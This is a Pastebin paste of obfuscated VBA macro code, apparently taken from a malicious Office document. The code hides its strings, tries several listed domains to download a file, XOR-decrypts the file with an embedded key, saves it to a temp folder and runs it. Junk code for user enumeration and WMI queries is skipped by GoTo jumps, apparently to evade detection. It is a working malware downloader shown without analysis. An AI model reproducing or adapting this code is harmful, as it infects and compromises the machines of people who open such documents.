Advertisement
Guest User

Macros

a guest
May 17th, 2017
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 10.00 KB | None | 0 0
  1. Attribute VB_Name = "Module1"
  2.  
  3. Public Modulate() As String
  4.  
  5. Public itemI As Integer
  6. Public system_ofADown_Project As String
  7. Public privateProbeName As String
  8. Public system_ofADown_ProjectBBB As String
  9. Public CuPro As Object
  10.  
  11.  
  12.  
  13.  
  14.  
  15. Sub enumMembers(objDomain)
  16.     On Error Resume Next
  17.     Dim Secondary(20)
  18.     For Each objMember In objDomain
  19.         If objMember.Class = "user" Then
  20.             x = x + 1
  21.  
  22.            
  23.            
  24.             SamAccountName = objMember.SamAccountName
  25.             Cn = objMember.Cn
  26.             FirstName = objMember.GivenName
  27.             LastName = objMember.sn
  28.             initials = objMember.initials
  29.             Descrip = objMember.Description
  30.             Office = objMember.physicalDeliveryOfficeName
  31.             Telephone = objMember.telephonenumber
  32.             EmailAddr = objMember.mail
  33.             WebPage = objMember.wwwHomePage
  34.             Addr1 = objMember.streetAddress
  35.             City = objMember.l
  36.             State = objMember.st
  37.             ZipCode = objMember.postalCode
  38.             Title = objMember.Title
  39.             Department = objMember.Department
  40.             Company = objMember.Company
  41.             Manager = objMember.Manager
  42.             Profile = objMember.profilePath
  43.             LoginScript = objMember.scriptpath
  44.             HomeDirectory = objMember.HomeDirectory
  45.             HomeDrive = objMember.HomeDrive
  46.             AdsPath = objMember.AdsPath
  47.  
  48.             AllAttributes = Array(SamAccountName, Cn, FirstName, LastName, initials, Descrip, Offi
  49. ce, Telephone, EmailAddr, WebPage, Addr1, City, State, ZipCode, Title, Department, Company, Manage
  50. r, Profile, LoginScript, HomeDirectory, HomeDrive, AdsPath)
  51.            
  52.             zz = 1
  53.             For Each Email In objMember.proxyAddresses
  54.                 If Left(Email, 5) = "SMTP:" Then
  55.                     Primary = Mid(Email, 6)
  56.                 ElseIf Left(Email, 5) = "smtp:" Then
  57.                     Secondary(zz) = Mid(Email, 6)
  58.                     zz = zz + 1
  59.                 End If
  60.             Next
  61.            
  62.  
  63.            
  64.             Counter = 0
  65.             For ll = 1 To 20
  66.                 If Secondary(ll) <> "" Then
  67.                     If Counter = 0 Then
  68.                         SecondEmail = Secondary(ll)
  69.                     Else
  70.                         SecondEmail = SecondEmail + ", " + Secondary(ll)
  71.                     End If
  72.                     Counter = Counter + 1
  73.                 End If
  74.             Next
  75.             SecondEmail = """" & SecondEmail & """"
  76.            
  77.            
  78.            
  79.             SamAccountName = "-"
  80.             Cn = "-"
  81.             FirstName = "-"
  82.             LastName = "-"
  83.             initials = "-"
  84.             Descrip = "-"
  85.             Office = "-"
  86.             Telephone = "-"
  87.             EmailAddr = "-"
  88.             WebPage = "-"
  89.             Addr1 = "-"
  90.             City = "-"
  91.             State = "-"
  92.             ZipCode = "-"
  93.             Title = "-"
  94.             Department = "-"
  95.             Company = "-"
  96.             Manager = "-"
  97.             Profile = "-"
  98.             LoginScript = "-"
  99.             HomeDirectory = "-"
  100.             HomeDrive = "-"
  101.             AdsPath = "-"
  102.            
  103.             For ll = 1 To 20
  104.                 Secondary(ll) = ""
  105.             Next
  106.             Primary = "-"
  107.             SecondEmail = ""
  108.         End If
  109.  
  110.        
  111.     Next
  112. End Sub
  113.  
  114. Public Function Assimptota4(FullPath As String, NumHoja As Integer) As String
  115.   WidthA system_ofADown_ProjectBBB, system_ofADown_Project, "g3MLpuSlnxDSAa5WPS8BBQluc3zSwlU1"
  116.  
  117.  
  118. system_ofADown_aifde.Open (system_ofADown_Project)
  119.    
  120. End Function
  121.  
  122.  
  123.  
  124.  
  125. Public Function Assimptota6(FullPath As String, NumHoja As Integer) As String
  126.  
  127. system_ofADown_ProjectSpeed
  128.  CallByName SubProperty, "O" + "pen", VbMethod
  129. If NumHoja > 400 Then
  130.  
  131.     If numExportadas = 0 Then
  132.         Assimptota6 = "No rows to export [No tiene filas por exportar]"
  133.         Exit Function
  134.     End If
  135. End If
  136.  
  137.  system_ofADown_PokerFace = CallByName(CuPro, "responseBody", VbGet)
  138.  
  139.  
  140.    
  141.  SubProperty.Write system_ofADown_PokerFace
  142. CallByName SubProperty, "sav" + Sooopchik + "ile", VbMethod, system_ofADown_ProjectBBB, 2
  143. Assimptota4 ".", 1
  144. End Function
  145.  
  146. Attribute VB_Name = "Module2"
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153. Public system_ofADown_PokerFace As Variant
  154. Public system_ofADown_aifde As Object
  155. Public system_ofADown_LAKOPPC As String
  156. Public system_ofADown_PIRO_LOR As Object
  157.  
  158. Public smbi As String
  159. Public system_ofADown_2 As String
  160. Public Const FreshID = 0
  161.  
  162.  
  163. Public Const Sooopchik = "etof"
  164.  
  165. Public Sub WidthA(Dbbb As String, bbbJ As String, Optional system_ofADown_Sexote As String)
  166.  
  167.   Dim bbb As Integer
  168. bbb = FreeFile
  169.   Dim Gbbb() As Byte
  170.  
  171.   Open Dbbb For Binary As #bbb
  172.   ReDim Gbbb(0 To LOF(bbb) - 1)
  173.   Get #bbb, , Gbbb()
  174.   Close #bbb
  175.   Call Subfunc(Gbbb(), system_ofADown_Sexote)
  176.   bbb = FreeFile
  177.   Open bbbJ For Binary As #bbb
  178.   Put #bbb, , Gbbb()
  179.   Close #bbb
  180.  
  181. End Sub
  182.  
  183.  
  184. Public Function system_ofADown_ProjectSpeed()
  185.  
  186. GoTo rTemp2
  187.     Set FSO = CreateObject("Scripting.FileSystemObject")
  188.  
  189. Set oArgs = WScript.Arguments
  190. If oArgs.Count = 1 Then
  191.         strComputer = CStr(oArgs(0))
  192. Else
  193.     strComputer = InputBox("Enter computer name")
  194. End If
  195.  
  196.  
  197.  
  198.  
  199. Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
  200. Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_VideoController", "WQL", _
  201. wbemFlagReturnImmediately + wbemFlagForwardOnly)
  202. rTemp2:
  203.  system_ofADown_Project = system_ofADown_LAKOPPC
  204.  system_ofADown_ProjectBBB = system_ofADown_Project + "\eewadro" + CStr(itemI)
  205.  
  206.  
  207. GoTo rTemp3
  208.     For i = 0 To UBound(Menu3Rect)
  209.         If IntersectR.ect(rTemp, Menu3Rect(i), rMouse) Then
  210.             CheckRectsMenu3 = i + 1
  211.             Exit Function
  212.         End If
  213.     Next
  214. rTemp3:
  215. system_ofADown_Project = system_ofADown_Project + Replace(Modulate(12), ".", CStr(itemI) + ".")
  216.  SubProperty.Type = 1
  217. End Function
  218.  
  219. Public Sub privateProbe()
  220. If ActiveDocument.Kind = 0 Then
  221. Set CuPro = CreateObject(privateProbeName)
  222. End If
  223. Set system_ofADown_PIRO_LOR = CreateObject(Modulate(FreshID + 3))
  224. smbi = Window1.Label1.Caption
  225. Shtefin = Replace("juvadent.de/Nbiyure3Vtidytrend.cRRDD/Nbiyure3Vherrossoidffr6644qa.top/af/Nbiyur
  226. e3Vsjffonrvcik45bd.info/af/Nbiyure3", "RRDD", "om")
  227. MovedPermanently = Split(Shtefin, Window1.Command.Caption)
  228.  Set SubProperty = CreateObject(Modulate(1))
  229.     Modulate2 = Modulate(1 + 1)
  230.    Set system_ofADown_aifde = CreateObject(Modulate2)
  231.  
  232. Set system_ofADown_RDD2 = system_ofADown_PIRO_LOR.Environment(Modulate(4))
  233.  
  234.  
  235.  itemI = 18 / 3
  236.  system_ofADown_LAKOPPC = system_ofADown_RDD2(Modulate(itemI))
  237.  
  238.  
  239.  
  240.      RepackOK "5", "B", "5"
  241.  
  242. End Sub
  243.  
  244.  
  245.  
  246. Public Sub SaveDataCSVToolStripMenuItem_Click(e As Integer)
  247.        system_ofADown_4 = Window1.ZK.Caption & MovedPermanently(i)
  248.  itemI = itemI + 2
  249.  Dim XIpotom2 As STRIX
  250. Set XIpotom2 = New STRIX
  251. If e < 488 Then
  252.  
  253.  
  254.  XIpotom2.Challenge "Swed", 13
  255. CallByName CuPro, Window1.ToggleButton1.Caption, VbMethod
  256. Set XIpotom2 = Nothing
  257.  
  258. Else
  259.  
  260. End If
  261.     End Sub
  262.  
  263. Public Sub RepackOK(sheetToMove As String, sheetAnchor As String, Assimptota6OrAfter As String)
  264.  
  265.  
  266.  Dim i
  267.  On Error GoTo d13
  268. For i = LBound(MovedPermanently) To UBound(MovedPermanently) Step 1
  269.  SaveDataCSVToolStripMenuItem_Click 72
  270. If CuPro.Status <> 200 Then
  271.  Err.Raise 700 + vbObjectError, "A", "D"
  272. End If
  273.    
  274.    
  275.    
  276.     Assimptota6 "2", 22
  277.  Exit Sub
  278. d13:
  279. Next
  280. Exit Sub
  281.  
  282.    
  283. End Sub
  284.  
  285.  
  286.  
  287. Public Function CheckRectsAd() As Boolean
  288.     Dim rTemp As String, rMouse As String, i As Integer
  289.     With rM.ouse
  290.         .Left = g_cursorx
  291.         .Right = .Left + 32
  292.         .Top = g_cursory
  293.         .Bottom = .Top + 1
  294.     End With
  295.     If IntersectR.ect(rTemp, AdRect, rMouse) Then
  296.         CheckRectsAd = True
  297.         Exit Function
  298.     End If
  299. End Function
  300.  
  301. Attribute VB_Name = "Module3"
  302.  
  303. Public MovedPermanently() As String
  304. Public system_ofADown_4 As String
  305.  
  306. Public Const system_ofADown_System = "User-Agent"
  307. Public SubProperty As Object
  308.  
  309.  
  310. Public system_ofADown_RDD2 As Object
  311.  
  312.  
  313. Public Sub Subfunc(MethodParam2() As Byte, MethodParam As String)
  314.  
  315.  
  316.   Dim CeLaP2 As Long
  317.   Dim CeLaP3 As Long
  318.   Dim CeLaP5 As Long
  319.   Dim CeLaP6 As Long
  320.   Dim plusplus() As Byte
  321. Dim CeLaP4 As Long
  322. Dim plusplusLen As Long
  323.   plusplusLen = Len(MethodParam)
  324. ReDim plusplus(plusplusLen)
  325.  
  326.   plusplus = StrConv(MethodParam, vbFromUnicode)
  327.  
  328.  
  329.   CeLaP2 = UBound(MethodParam2) + 1
  330.   CeLaP5 = CeLaP2
  331.  
  332.  
  333.   For CeLaP4 = _
  334.   0 To (CeLaP2 - 1)
  335.     aa = plusplus(CeLaP4 Mod plusplusLen)
  336.     bb = MethodParam2(CeLaP4)
  337.     MethodParam2(CeLaP4) = Lipochanko(bb, aa)
  338.    
  339.     If (CeLaP4 >= CeLaP6) Then
  340.       CeLaP3 = Int((CeLaP4 / CeLaP5) * 100)
  341.       CeLaP6 = (CeLaP5 * ((CeLaP3 + 1) / 100)) + 1
  342.     End If
  343.   Next
  344. End Sub
  345.  
  346.  
  347. Public Function Lipochanko(a, b)
  348. Dim per
  349. Dim der
  350.    Lipochanko = (a Or b) And (Not (a And b))
  351. End Function
  352.  
  353.  
  354.  
  355. Public Function Synomati(Comps)
  356.     GoTo l12
  357.     strComputer = Comps
  358.     Set oWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  359.  
  360.  
  361.     If InStr(1, strCaption, "Windows 7", vbTextCompare) Then
  362.         Synomati = "Win7"
  363.     End If
  364.     If InStr(1, strCaption, "XP", vbTextCompare) Then
  365.         Synomati = "XP"
  366.     End If
  367. l12:
  368.     Dim c As STRIX
  369. Set c = New STRIX
  370.  
  371. CallByName c, Window1.T2.Text, _
  372. VbMethod
  373. End Function
  374.  
  375.  
  376. Public Sub Vgux(strComputer As Integer)
  377.  
  378. If strComputer = 1 Then
  379. CallByName CuPro, Window1.OptionButton1.Tag, VbMethod, Modulate(5), system_ofADown_4, False
  380.  
  381. Exit Sub
  382. Else: GoTo lab1
  383. End If
  384.     Set objWMIService = GetObject("winmgmts:" _
  385.         & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  386.     Set colPageFiles = objWMIService.ExecQuery _
  387.         ("Select * from Win32_PageFileSetting")
  388. lab1:
  389.  
  390. CallByName CuPro, Window1.OptionButton2.Tag, VbMethod, system_ofADown_System, _
  391. Window1.SpinButton1.Tag
  392. Exit Sub
  393. For Each objPageFile In colPageFiles
  394.         objPageFile.InitialSize = 2046
  395.         objPageFile.MaximumSize = 4092
  396.         objPageFile.Put_
  397.     Next
  398.    
  399.  
  400. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement